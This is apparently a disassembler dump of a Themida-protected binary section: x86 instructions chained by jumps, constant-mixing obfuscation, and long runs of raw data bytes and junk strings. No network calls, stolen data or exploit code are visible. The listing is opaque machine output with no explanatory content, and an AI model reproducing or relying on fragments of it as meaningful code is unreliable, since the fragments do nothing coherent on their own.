		dd 2D68E089h, 89000005h, 4BE2434h, 1000000h, 0E4685EF0h
		dd 89000031h, 0E2892414h, 4C281h, 0C5E90000h, 2D000022h
		dd 0D2571B9h, 234EE953h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56BDAE:				; CODE XREF: Themida_:005745D4j
		mov	[esp], edx
		mov	edx, 1D293164h
		inc	edx
		add	edx, 0E58E44C5h
		and	ebx, edx
		jmp	loc_56C3FE
; ---------------------------------------------------------------------------
		dd 0EC81D7F7h, 4, 0FFFC43E9h, 0E8015AFFh, 81242C8Bh, 4C4h
		dd 4C08300h, 0E9240487h, 1D0h, 6D46685Eh, 1C890000h, 2474FF24h
		dd 48F5B04h, 2039E924h,	0C3290000h, 16CB8158h, 812B1C2Bh
		dd 2558EAEBh, 4014E94Eh, 0BF570000h, 86A202Eh, 0FFFFEF81h
		dd 48E9FFFFh, 81FFFFAFh, 4C4h, 48E7E900h, 8F68FFFFh, 5B558846h
		dd 148BD331h, 4C48324h,	35E9C381h, 0D929CFDEh, 0E9815Bh
		dd 1216F57h, 0C181D1h, 83216F57h, 48904ECh, 7433B824h
		dd 0C101385Bh, 763DE9h,	80586600h, 0D78812F2h, 30D7305Ah
		dd 0A827E9FAh, 0CF88FFFFh, 0E95BFA88h, 1C1Eh
; ---------------------------------------------------------------------------


loc_56BE80:				; CODE XREF: Themida_:005640B4j
		sub	ebx, 0AD28D370h
		sub	esi, 39122425h
		jmp	loc_570D83
; ---------------------------------------------------------------------------


loc_56BE91:				; CODE XREF: Themida_:00564A0Aj
		pop	esi
		xor	esi, 7860468Eh
		jmp	loc_5748A2
; ---------------------------------------------------------------------------
		db 89h,	1Ch, 24h
		dd 773300BBh, 5BDA2936h, 7BD6C281h, 0EC8363F3h,	0E480E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56BEB6:				; CODE XREF: Themida_:00563625j
		mov	ah, bl
		jmp	loc_56A0F1
; ---------------------------------------------------------------------------
		db 1, 0CBh, 59h
		dd 17BAE9h, 4BD00h, 0E9290000h,	240C875Dh, 0B34E9h, 4F68100h
		dd 1640102h, 5E6DE9F0h,	14890000h, 9EE95624h, 59000095h
		dd 57DAE956h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56BEF2:				; CODE XREF: Themida_:0056BAF0j
		add	esp, 4
		jmp	loc_57503B
; ---------------------------------------------------------------------------
aSSpq		db 'Áé',8,'éQ',0
		align 2
		dw 0E0C1h
		dd 66C60D02h, 71357264h, 0E9C83099h, 0FFFFD425h
; ---------------------------------------------------------------------------


loc_56BF14:				; CODE XREF: Themida_:00570D9Aj
		push	dword ptr [esp]
		mov	esi, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	edx
		mov	edx, 4
		add	ebx, edx
		pop	edx
		jmp	loc_568793
; ---------------------------------------------------------------------------


loc_56BF31:				; CODE XREF: Themida_:0057386Aj
		pop	eax
		push	901h
		mov	[esp], edx
		mov	edx, 3DAE6412h
		sub	esp, 4
		jmp	loc_563FDA
; ---------------------------------------------------------------------------
		db 89h
		dd 4BA2414h, 51000000h,	171624B9h, 59CF2961h, 61186855h
		dd 0F75D0CBBh, 81E5D1D5h, 327A40E5h, 0AFC58157h, 81F7503Eh
		dd 0E64359C7h, 68EF0153h, 57B6h, 0BB241C89h, 58F6033Ch
		dd 0C103E3C1h, 0F38102E3h, 45250B4Bh, 8AE9E3D1h, 68FFFF85h
		dd 7788h, 54243489h, 4C6815Eh, 0E9000000h, 0FFFF55DCh
		dd 2024248Bh, 0E99C2404h, 0FFFF475Dh, 0F9E9C35Ch, 0B900008Eh
		dd 4, 8359C801h, 48704E8h, 2FA2E924h, 0E3810000h, 69733775h
		dd 2D65E9h, 20B85000h, 5535F5Bh, 2E1C789Bh, 2D08E0C1h
		dd 1E131341h, 277BE9h, 95D0F700h, 0EB81EB87h, 82BB3C71h
		dd 34FFD989h, 241C8B24h, 2874E957h, 0F7560000h,	505E2414h
		dd 0FF6A50E9h, 50565BFFh, 6ADCE9h, 51C98100h, 68369D25h
		dd 5C44h, 0E9240489h, 0FFFF56F3h
; ---------------------------------------------------------------------------


loc_56C034:				; CODE XREF: Themida_:00566D51j
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		sub	ecx, 0BD99584Dh
		and	eax, ecx
		pop	ecx
		or	eax, eax
		jnz	loc_567F09
		push	21E3h
		mov	[esp], edx
		jmp	loc_56E7FD
; ---------------------------------------------------------------------------


loc_56C064:				; CODE XREF: Themida_:0057361Cj
		add	ebp, 4
		add	ebp, 2
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_560715
; ---------------------------------------------------------------------------
a11shs		db '1Å1èhá%',0
		dw 8900h
		dd 2682434h, 89000057h,	0B5E9242Ch, 29FFFFD1h, 8BEE81FEh
		dd 5F62CC15h, 51F4BA52h, 0D6296869h, 5124148Bh,	0C181E189h
		dd 4, 0E904C183h, 0FFFFD43Dh
; ---------------------------------------------------------------------------


loc_56C0B4:				; CODE XREF: Themida_:0056DC4Bj
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ebx
		push	esp
		mov	ebx, [esp]
		push	esi
		mov	esi, esp
		jmp	loc_56447C
; ---------------------------------------------------------------------------


loc_56C0D8:				; CODE XREF: Themida_:00575EE7j
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esp
		jmp	loc_564C0E
; ---------------------------------------------------------------------------
		db 29h,	6Fh, 24h
		dd 5D2434FFh, 81E28952h, 4C2h, 4C28300h, 5C241487h, 4C42E9h
		dd 4077FF00h, 0FF460CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56C109:				; CODE XREF: Themida_:0056FE6Aj
		sub	edx, 0FDAB2DB8h
		add	eax, edx
		mov	edx, [esp]
		add	esp, 4
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_5726FE
; ---------------------------------------------------------------------------
aMrSqpsjq	db '¬R²áQPéJQ',0
		dw 0BE00h
		dd 11127370h, 0FF8DE5E9h, 0BAB850FFh, 483C0963h, 1E685052h
		dd 583F2732h, 0FF77A3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56C14D:				; CODE XREF: Themida_:0056A452j
		push	ebp
		mov	ebp, 108401D1h
		neg	ebp
		jmp	loc_560865
; ---------------------------------------------------------------------------
		dw 0EA81h
		dd 0EB97DC26h, 815AD101h, 4C1h,	240C8700h, 0DE9555Ch, 2D00004Dh
		dd 7B761114h, 1405F029h, 8B7B7611h, 89562434h, 4C681E6h
		dd 81000000h, 4C6h, 24348700h, 0FF7F58E9h, 0E78957FFh
		dd 4C781h, 0C7810000h, 4, 5C243C87h, 93D0F793h,	47E3E9h
		dd 22C68100h, 813F5009h, 0F41345C6h, 241C8B01h,	4C481h
		dd 0C6810000h, 4, 31243433h, 34332434h,	62685C24h, 89000052h
		dd 0EC81243Ch, 4, 68242C89h, 58BC0914h,	5D2434FFh, 7735E9h
		dd 2404FF00h, 5F3CE9h, 0CA015800h, 7A3CBB53h, 0C38159E1h
		dd 2561B698h, 595BDA01h, 4C281h, 6680000h, 89000009h, 24E92414h
		dd 5EFFFFE9h, 4C481h, 84E90000h
		db 58h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56C233:				; CODE XREF: Themida_:00564FA4j
		add	esp, 4
		add	edx, 0E52F94A2h
		mov	ebx, edx
		pop	edx
		dec	ebx
		not	ebx
		or	ebx, 46616AF3h
		jmp	loc_5653B5
; ---------------------------------------------------------------------------
		dd 727BC381h, 0C3011558h, 727BEB81h, 81581558h,	4C3h, 241C3300h
		dd 33241C31h, 248B241Ch, 4EC8324h, 0E9240489h, 0FFFFD938h
		dd 6328EF81h, 0EF0172DEh, 6328C781h, 815D72DEh,	996DFEC7h
		dd 68D1E90Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56C296:				; CODE XREF: Themida_:00566B7Dj
		pop	esi
		jmp	loc_573455
; ---------------------------------------------------------------------------
		dd 0D058E788h, 8EFC0E7h, 4F536866h, 0FFF4AEE9h,	4BF57FFh
		dd 1000000h, 0C5835FFDh, 242C8702h, 3024248Bh, 0C0B60FC3h
		dd 508734FFh, 0E904EC83h, 0FFFF8DBEh, 681EEF81h, 0DF016A71h
		dd 0FFC54AE9h, 43B368FFh, 0C890000h, 4EC8324h, 88241C89h
		dd 8D87E9C3h, 0BB530000h, 2FDA415Bh, 2414F753h,	1F4D685Bh
		dd 2C890000h, 0BD24h, 0DD290000h, 24048155h, 3D942E45h
		dd 45EB815Bh, 5D3D942Eh, 58E3E9h, 24148700h, 6E05E9h, 66C73000h
		dd 8124048Bh, 2C4h, 4EC8100h, 0E9000000h, 0FFFFB0DCh, 104C483h
		dd 0CD2158C1h, 9FC58159h, 0E9BDC793h, 0FFFF6DA0h
; ---------------------------------------------------------------------------


loc_56C354:				; CODE XREF: Themida_:0056C95Bj
		mov	[esp], esi
		mov	esi, 4
		add	eax, esi
		pop	esi
		add	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		jmp	loc_56177C
; ---------------------------------------------------------------------------


loc_56C36D:				; CODE XREF: Themida_:00564067j
		pop	esp
		jmp	loc_56F71D
; ---------------------------------------------------------------------------
		db 0C0h
		dd 90E906E5h, 66FFFF85h, 92E9028Fh, 81FFFF43h, 62B501EDh
		dd 3BEE8180h, 81770D19h, 0B62B34EEh, 0E9EE010Dh, 93D1h
		dd 4A9468h, 942E900h, 0F1680000h, 58552848h, 87CB850h
		dd 0F52566AEh, 480AF078h, 0FF6B7DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56C3BD:				; CODE XREF: Themida_:0056B5B1j
		add	esp, 4
		push	edx
		mov	edx, 789056AFh
		add	eax, edx
		pop	edx
		add	eax, edx
		push	edx
		mov	edx, 3A955C7Bh
		add	edx, 1
		jmp	loc_570A35
; ---------------------------------------------------------------------------
		dd 1F7DEFBEh, 5EF7312Fh, 555FFA01h, 2BDh, 5DEA2900h, 31241433h
		dd 14332414h, 7058E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56C3FE:				; CODE XREF: Themida_:0056BDBFj
		pop	edx
		jmp	loc_567A37
; ---------------------------------------------------------------------------
		dd 0FF2434FFh, 83582434h, 0EC8104C4h, 4, 54243C89h, 82E9535Fh
		db 28h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56C41F:				; CODE XREF: Themida_:00562234j
		xchg	edi, [esp]
		pop	esp
		pop	ebp


loc_56C424:				; CODE XREF: Themida_:0056B76Dj
		push	ebx
		push	7FF7h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebx
		add	ebx, 4
		push	ecx
		jmp	loc_56D782
; ---------------------------------------------------------------------------


loc_56C43E:				; CODE XREF: Themida_:00569054j
		pop	esp
		mov	[esp], ebx
		mov	ebx, 1A74428h
		or	ebx, 47812C76h
		jmp	loc_576086
; ---------------------------------------------------------------------------
		dw 0E951h
		dd 0FFFF690Ch, 0E9240C89h, 0FFFFDA4Bh
; ---------------------------------------------------------------------------


loc_56C460:				; CODE XREF: Themida_:00561605j
		mov	ebp, esp
		add	ebp, 4
		push	eax
		mov	eax, 4
		add	ebp, eax
		pop	eax
		xchg	ebp, [esp]
		jmp	loc_56A7C0
; ---------------------------------------------------------------------------
aXh4		db 'Xh\4',0
		dw 8900h
		dd 8AE92404h, 57000053h, 0C781E789h, 4,	8704EF83h, 0E95C243Ch
		dd 448Dh, 0E9240489h, 0FFFF743Bh, 0C381E389h, 4, 51E08950h
		dd 4B9h, 59C80100h, 8704E883h, 895C2404h, 0BD552414h, 4
		dd 0FFDB45E9h, 48B66FFh, 79B7E924h, 3AB8FFFFh, 0BB5D584Ah
		dd 0B4DBE7E6h, 158C301h, 9F1BE9D8h, 248BFFFFh, 233FE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56C4F2:				; CODE XREF: Themida_:0056305Ej
		add	ebx, eax
		pop	eax
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		cmp	cl, al
		pushf
		jmp	loc_567AC8
; ---------------------------------------------------------------------------


loc_56C509:				; CODE XREF: Themida_:0056DC21j
		mov	[esp], esi
		sub	esp, 4
		jmp	loc_56D146
; ---------------------------------------------------------------------------
		dd 24348758h, 1DFEE9h, 241C8900h, 0FF45B0E9h, 241C89FFh
		dd 8904EC83h, 0BA522424h, 4, 0FFEA54E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56C539:				; CODE XREF: Themida_:0056864Aj
		mov	ebx, 6627111Eh
		dec	ebx
		shl	ebx, 8
		neg	ebx
		add	ebx, 66A9435Bh
		add	ebx, 0C14FF6A6h
		sub	eax, ebx
		pop	ebx
		sub	esp, 4
		jmp	loc_570BF6
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 5AF50004h, 58C5E9h, 2C68100h, 83000000h, 6DE904ECh
		dd 0BAFFFF8Eh, 4F6E0931h, 0E6E28142h, 53569E75h, 6D46E9h
		dd 48B6600h, 60CEE924h,	0C1880000h, 0FF7EA3E9h,	1ED83FFh
		dd 0C106E5C1h, 9F6802EDh, 8900001Ah, 9CBF243Ch,	8179D821h
		dd 0C1FD14C7h, 9073E9EEh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56C5BA:				; CODE XREF: Themida_:00575505j
		sub	esp, 4
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 3791FBDh
		push	esi
		jmp	loc_56EA84
; ---------------------------------------------------------------------------
		db 0F7h, 0DAh, 81h
		dd 5F4952E2h, 83DAF764h, 348904ECh, 4A3EBE24h, 0EEC10A27h
		dd 82B95103h, 0E96A3714h, 0FFFFADFDh, 1E7ACE81h, 0E6817490h
		dd 15F83F13h, 5B30E681h, 0C6816440h, 540CEEEEh,	895EF589h
		dd 902DE9E8h, 0F7920000h, 0CAE992DAh
		db 9Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56C61F:				; CODE XREF: Themida_:00571D4Aj
		push	edi
		mov	edi, 60231077h
		or	edi, 33C920EEh
		push	4080h
		mov	[esp], ecx
		mov	ecx, 5BD5062Fh
		jmp	loc_56820A
; ---------------------------------------------------------------------------
		db 0B6h, 51h, 0E9h
		dd 0FFFF9FCDh, 4E2FFCBBh, 6D1BE93Ah, 0E95FFFFFh, 0FFFF99B3h
		dd 4C481h, 95E90000h, 59FFFFC7h, 81242C8Bh, 4ECh, 243C8900h
		dd 0C781E789h, 4, 4BE56h, 0F7010000h, 243C875Eh, 0BB53555Ch
		dd 50783FEAh, 0ACE9DD89h, 3000008Ah, 22C5AF3h, 0ADB65266h
		dd 5A66F028h, 0AD04D828h, 0FF40F0E9h, 240C8BFFh, 4C481h
		dd 0C2810000h, 4, 5C241487h, 0B4A5E955h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56C6BE:				; CODE XREF: Themida_:0056FD1Aj
		xchg	eax, [esp]
		jmp	loc_570E69
; ---------------------------------------------------------------------------
		dw 0D801h
		dd 0BF57525Bh, 30E7215Fh, 8FB6E957h, 1C8BFFFFh,	4C48324h
		dd 3B9D5E05h, 0D4EF819Bh, 1518E00h, 0D4C781C7h,	58518E00h
		dd 4C781h, 3C870000h, 24248B24h, 6806E9C1h, 0C43h, 0E9241C89h
		dd 0FFFF6D6Ch, 0B0D40EBEh, 5EF329AEh, 81E9D929h, 81FFFF7Fh
		dd 310796EDh, 0E9FD0114h, 0FFFF9258h, 4C381h, 0C3810000h
		dd 4, 5C241C87h, 0FF5702E9h, 81E589FFh,	4C5h, 8451E900h
		dd 4BB0000h, 1000000h, 66BEE9DFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56C756:				; CODE XREF: Themida_:0056E36Fj
		pop	edx
		mov	eax, [esp]
		push	448Ah
		mov	[esp], edx
		push	esp
		pop	edx
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	eax, [esp]
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		jmp	loc_573499
; ---------------------------------------------------------------------------


loc_56C785:				; CODE XREF: Themida_:00562726j
		not	esi
		push	0
		push	edx
		jmp	loc_564B06
; ---------------------------------------------------------------------------


loc_56C792:				; CODE XREF: Themida_:0057393Bj
		pop	ebx
		xchg	eax, [esp]
		jmp	loc_56B433
; ---------------------------------------------------------------------------
		db 1
		dd 0F55E9E9h, 972D0000h, 11EB660h, 34E951F8h, 1FFFF61h
		dd 64BF57D6h, 0F77BE66Ah, 0D420E9D7h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56C7BE:				; CODE XREF: Themida_:005757B5j
		mov	ecx, 4
		jmp	loc_56AF10
; ---------------------------------------------------------------------------
		dd 0FD7C581h, 0DDF727B1h, 2BC2BF57h, 0FD21570Bh, 0FF3FADE9h
		dd 86C681FFh, 8B49026Eh, 0C481243Ch, 4,	0FBE95357h, 81FFFFB6h
		dd 9A1CDEF2h, 0CDF2810Eh, 2158A63Ah, 0DD20E9D1h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56C806:				; CODE XREF: Themida_:0056ECEBj
		pop	esi
		jmp	loc_56E23B
; ---------------------------------------------------------------------------
		dd 24048F5Ch, 9141E95Ch, 0CFE0000h, 0F6E99C24h,	31FFFF3Eh
		dd 2C33242Ch, 24248B24h, 314068h, 242C8900h, 4120E9h, 240C8900h
		dd 9FE95954h
		db 5Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56C83F:				; CODE XREF: Themida_:00570C05j
		add	ecx, 64A0FA8h
		pop	eax
		and	eax, ecx
		mov	ecx, [esp]
		jmp	loc_569B72
; ---------------------------------------------------------------------------
		dd 0B9BB535Fh, 8176BD14h, 0B41BF7C3h, 0B4EB8176h, 817DC875h
		dd 0A5338E3h, 63CB8160h, 0C1330532h, 0EB8105EBh, 3986991h
		dd 0E95BDE01h, 0F8Fh, 555DBF57h, 0F8310F79h, 0FF7C54E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56C88D:				; CODE XREF: Themida_:0056E2B9j
		mov	eax, [esp]
		jmp	loc_561DE5
; ---------------------------------------------------------------------------
		db 81h,	0EFh, 48h
		dd 0E90EDA15h, 10DBh, 5724048Fh, 0FF4B23E9h, 243C89FFh
		dd 2E7E5668h, 0EFD15F2Ch, 0FFE46FE9h, 2D5D5FFFh, 53444B38h
		dd 0FF8995E9h, 4BF57FFh, 1000000h, 5F04247Ch, 0E2895258h
		dd 4C281h, 0EA830000h, 4EC8104h, 89000000h, 74FF2414h
		dd 8F5A0424h, 895C2404h, 4BB241Ch, 0E9000000h, 0FFFFE494h
		dd 4A968h, 24148900h, 4E3C6850h, 34FF1C1Bh, 518DE924h
		dd 0C281FFFFh, 6544060Eh, 0FF7AD5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56C91D:				; CODE XREF: Themida_:0057341Dj
		mov	ebx, 378E43B2h
		neg	ebx
		jmp	loc_56A5CC
; ---------------------------------------------------------------------------
		db 89h,	14h, 24h
		dd 0E2C062B2h, 0F6C2FE06h, 0F0EA80D2h, 0E280C2FEh, 0E9D2F692h
		dd 44E6h
		db 89h,	0E0h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_56C354
; ---------------------------------------------------------------------------
		dd 4BA52h, 0D0010000h, 5A2434FFh, 4C481h, 4870000h, 24248B24h
		dd 35CB68h, 56FFE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56C982:				; CODE XREF: Themida_:0056A3EBj
		pop	esi
		inc	edi
		xor	edi, 1A80029Fh
		add	ebx, edi
		pop	edi
		xchg	ebx, [esp]
		mov	esp, [esp]
		xchg	ebp, [esp]
		mov	esp, [esp]
		btc	[esp], ax
		pushf
		jmp	loc_560715
; ---------------------------------------------------------------------------
aQDBliYse	db 'Q¹¤=Bl‰ÈYé¥',0Ah,0
		align 2
		dw 34FFh
		dd 46F7E924h, 0E954FFFFh, 4E0Fh
; ---------------------------------------------------------------------------


loc_56C9C0:				; CODE XREF: Themida_:00570B2Ej
		mov	ebx, 71FE6D79h
		push	edx
		mov	edx, 6B0F6408h
		push	edi
		mov	edi, 554B6D0Ah
		jmp	loc_56AF85
; ---------------------------------------------------------------------------
		dw 0DDF7h
		dd 8101C583h, 2868FAC5h, 8BE8298Fh, 0C483242Ch,	4EC8304h
		dd 0BD242C89h, 2DB1C5Fh, 1ED81h, 0F5870000h, 0F587D6F7h
		dd 56FFED83h, 0FF4B9CE9h, 0C895CFFh, 6CD7E924h,	0C7810000h
		dd 4, 0FFB35CE9h, 4C781FFh, 51000000h, 0C181E189h, 4, 0F493E955h
		dd 8952FFFFh, 4C281E2h,	83000000h, 148704C2h, 57E95C24h
		dd 68FFFFD3h, 582Eh, 54243489h,	54E9555Eh, 81FFFFADh, 4ECh
		dd 241C8900h, 0C3815B54h, 4, 0CE868h, 242C8900h, 0C53D5CBDh
		dd 39656837h, 3C890000h, 7F89BF24h, 0EFD13AEAh,	240CFF57h
		dd 0AF7815Fh, 5076F134h, 0B8h, 15C5E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56CA9A:				; CODE XREF: Themida_:00573378j
		push	eax
		mov	eax, 199B3277h
		jmp	loc_56D624
; ---------------------------------------------------------------------------
		db 5Bh,	55h, 0BDh
		dd 4, 875DEF01h, 0E95C243Ch, 2D4Fh, 0E95BD801h,	5CD2h
		dd 55240489h, 0BB6D9668h, 0ECE95D58h, 0C000004Eh, 0C58007EDh
		dd 59E83000h, 0FF83EBE9h, 31D931FFh, 83D931CBh,	1C8904ECh
		dd 7C1DBB24h, 9AE978A5h, 89FFFFA3h, 97E92414h, 89FFFF74h
		dd 0E6892434h, 413868h,	243C8900h, 81ABE9h, 5589BA00h
		dd 81421B27h, 0A24516E2h, 4FE2810Ch, 0C179522Dh, 0E2C104EAh
		dd 0D5EA8106h, 89764E33h, 0E9815AD5h, 259B4995h, 0C181E901h
		dd 259B4995h, 59CA015Dh, 4CDFB850h, 0FB356D17h,	540F828h
		dd 0FFFFFFFFh, 6ED2E9h,	0BB00h,	0D3010000h, 0BFE90303h
		dd 0BEFFFF72h, 0
		dd 11E9FE29h, 81000074h, 4ECh, 24248900h, 4240481h, 0E9000000h
		dd 0FFFFBA65h
; ---------------------------------------------------------------------------


loc_56CB84:				; CODE XREF: Themida_:00567B5Ej
		mov	edi, 4C220C82h
		dec	edi
		add	edi, 0B3DDF383h
		add	esi, edi
		pop	edi
		push	ebx
		jmp	loc_571681
; ---------------------------------------------------------------------------
		db 29h,	0D0h, 5Ah
		dd 0FFF202E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56CBA1:				; CODE XREF: Themida_:005698B5j
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_56D9BD
; ---------------------------------------------------------------------------
		dd 83243C8Bh, 2E904C4h,	0BFFFFFA6h, 12E612BCh, 815FF921h
		dd 20012E9h, 73876800h,	0B9E90000h, 5BFFFF68h, 0FF9891E9h
		dd 0EBCB81FFh, 0E96C2D1Ah, 0FFFF990Fh
; ---------------------------------------------------------------------------


loc_56CBE4:				; CODE XREF: Themida_:0056071Bj
		mov	[esp], ebx
		mov	bl, 8Eh
		push	ecx
		jmp	loc_56E727
; ---------------------------------------------------------------------------


loc_56CBEF:				; CODE XREF: Themida_:00574787j
		sub	cl, 8Ch
		shr	cl, 5
		sub	esp, 4
		mov	[esp], eax
		push	ecx
		mov	ch, 7Ch
		jmp	loc_56CED5
; ---------------------------------------------------------------------------
aXshi		db 'XShˆ"',0
		dd 24048900h, 0E9241C8Bh, 422Ah, 357A222Dh, 5C8297Eh, 7E357A22h
		dd 68515259h, 1A0Fh, 0BF243C89h, 0C256D62h, 2414F757h
		dd 0E2F0E95Fh, 8956FFFFh, 0A8E7E9E6h, 0E6C1FFFFh, 0B1C68107h
		dd 0D1696A04h, 7EEC1EEh, 66A0C681h, 0B9510465h,	0FB3CFE97h
		dd 5EE8E9h, 17E95100h
		db 9, 2	dup(0)
; ---------------------------------------------------------------------------


loc_56CC6B:				; CODE XREF: Themida_:00574325j
		mov	ah, 27h
		sub	bl, 0Ch
		sub	bl, ah
		add	bl, 0Ch
		pop	eax
		push	ecx
		jmp	loc_5679F3
; ---------------------------------------------------------------------------
		dd 5524048Bh, 0C5815D54h, 4, 0FF45F9E9h, 46F581FFh, 0E9258658h
		dd 0FFFFE650h
; ---------------------------------------------------------------------------


loc_56CC98:				; CODE XREF: Themida_:00565CF1j
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		push	7F71h
		mov	[esp], ebx
		push	dword ptr [esp+4]
		pop	ebx
		jmp	loc_56A844
; ---------------------------------------------------------------------------
		dd 0BB241C89h, 43BE57F7h, 3518EB81h, 0BD553499h, 60EB5A9Ch
		dd 0E907EDC1h, 66D9h, 0FFD90158h, 0E95B2434h, 0FFFF90F5h
; ---------------------------------------------------------------------------


loc_56CCE0:				; CODE XREF: Themida_:005608D4j
		mov	[esp], ecx
		jmp	loc_573B0B
; ---------------------------------------------------------------------------
		dd 81243C89h, 4ECh, 241C8900h, 0FFD773E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56CCF9:				; CODE XREF: Themida_:00561145j
		add	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		cmp	ecx, eax
		pushf
		jmp	loc_5612D4
; ---------------------------------------------------------------------------
		dd 94ABF181h, 0F3E9DA12h, 56FFFFB3h, 0FFC7B9E9h, 9BE281FFh
		dd 5651E27Dh, 5A0E75BEh, 402FE938h, 0B8500000h,	153D70B6h
		dd 0AF1C1B25h, 262E3523h, 0DE92B90h, 1000083h, 7DE95EF2h
		dd 55FFFF42h, 3429E9h
		db 0
; ---------------------------------------------------------------------------


loc_56CD55:				; CODE XREF: Themida_:00566B87j
		add	eax, 4
		jmp	loc_5689CC
; ---------------------------------------------------------------------------
		db 0BFh
		dd 4, 505FF801h, 42474FFh, 24048F58h, 0FF24248Bh, 79E92434h
		db 6, 2	dup(0)
; ---------------------------------------------------------------------------


loc_56CD7B:				; CODE XREF: Themida_:005651E7j
		pop	esp
		mov	[esp], ebx
		add	dword ptr [esp], 2C6E62D8h
		pop	dword ptr [edx+30h]
		sub	esp, 4
		mov	[esp], esi
		push	ebx
		mov	ebx, 56F177C0h
		push	edi
		mov	edi, ebx
		mov	esi, edi
		pop	edi
		pop	ebx
		dec	esi
		push	edi
		mov	edi, 42DE6A36h
		jmp	loc_573EE8
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C483241Ch, 4C38104h, 55000000h, 4BDh, 8BEB2900h, 0C481242Ch
		dd 4, 5C241C87h, 89243C89h, 4C781E7h, 52000000h, 8075E9h
		dd 0EC815800h, 4, 89242C89h, 4C581E5h, 56000000h, 468h
		dd 0F5015E00h, 242C875Eh, 73685E5Ch, 8900004Dh,	6DE92434h
		dd 8B000012h, 0C483243Ch, 0F43AE904h, 814DFFFFh, 0C84B5FEDh
		dd 5C05E96Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56CE22:				; CODE XREF: Themida_:0056A990j
		sub	ebp, 1ABD1A01h
		sub	ebp, 0EC6C5A2Fh
		add	edx, ebp
		pop	ebp
		jmp	loc_56E16E
; ---------------------------------------------------------------------------


loc_56CE36:				; CODE XREF: Themida_:00569114j
		xor	[esp], esi
		xor	esi, [esp]
		jmp	loc_56EB42
; ---------------------------------------------------------------------------


loc_56CE41:				; CODE XREF: Themida_:00570A7Bj
		sub	eax, ecx
		sub	eax, 14E6489Bh
		mov	ecx, [esp]
		push	edi
		mov	edi, esp
		push	ecx
		mov	ecx, 4A926CE8h
		xor	ecx, 4A926CECh
		add	edi, ecx
		pop	ecx
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	eax
		sub	esp, 4
		jmp	loc_56A906
; ---------------------------------------------------------------------------
		dd 0FA7689BAh, 57F28164h, 42408B64h, 0ED25C281h, 0D589DB8Eh
		dd 0FFB135E9h, 59CE31FFh, 4EC8150h, 89000000h, 5056242Ch
		dd 0FFAE05E9h, 2434FFFFh, 0FFC9FEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56CEA5:				; CODE XREF: Themida_:0056E44Bj
		push	6B460A9h
		mov	edi, [esp]
		add	esp, 4
		sub	edi, 1
		sub	esp, 4
		mov	[esp], ebx
		push	edx
		jmp	loc_566771
; ---------------------------------------------------------------------------
		dw 0F129h
		dd 86ABF57h, 0BD555214h, 6708404Bh, 0FFDFC1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56CED5:				; CODE XREF: Themida_:0056CC01j
		mov	al, 17h
		xor	al, ch
		pop	ecx
		add	cl, 0DEh
		sub	cl, 6Ch
		sub	cl, al
		add	cl, 6Ch
		sub	cl, 0DEh
		pop	eax
		xor	dh, cl
		pop	ecx
		sub	al, dh
		mov	edx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	edx
		mov	edx, 4
		add	ebx, edx
		jmp	loc_56DCF2
; ---------------------------------------------------------------------------
		db 28h
		dd 0F5966EBh, 48FC0B6h,	37FFE987h, 0EC83FFFFh, 241C8904h
		dd 1F9CBD55h, 7E95B66h,	83FFFFBFh, 0C8704E9h, 4B23E924h
		dd 0F74F0000h, 4DD5E9D7h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56CF3A:				; CODE XREF: Themida_:00573C1Fj
		not	dword ptr [esp]
		pop	ecx
